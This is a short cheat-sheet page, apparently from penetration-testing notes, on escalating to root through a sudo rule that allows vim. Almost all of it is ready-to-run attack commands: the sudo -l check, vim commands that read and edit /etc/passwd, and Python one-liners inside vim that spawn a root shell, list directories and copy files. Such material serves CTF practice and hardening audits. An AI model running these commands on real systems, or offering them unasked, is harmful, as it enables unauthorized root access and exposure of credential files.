Sudo Vim Privilege Escalation

Last modified: 2024-01-26

Privilege Escalation

Sudo vim command might be vulnerable to privilege escalation (PrivEsc).


sudo -l

(ALL) NOPASSWD: vim example.txt

If we can execute "vim" command as root, we can execute the shell command in the vim editor.


Simply run "vim" command as root.

sudo vim example.txt

In Vim editor, we can run shell commands as root.



# Read environment variables
# - We can list them by entering [tab] key after `:echo $`.
:echo $PATH

# Read another file
:read /etc/passwd

# Edit another file
:edit /etc/passwd

# Execute Python script
:py import os;os.execl("/bin/sh", "sh", "-c", "reset; exec sh")
:py3 import os;os.execl("/bin/sh", "sh", "-c", "reset; exec sh")
# Enumeration
:py3 import os;print(os.listdir("/"))
# Write file from another file
:py3 open("/tmp/new_file", "wb").write(open("/tmp/original_file", "rb").read())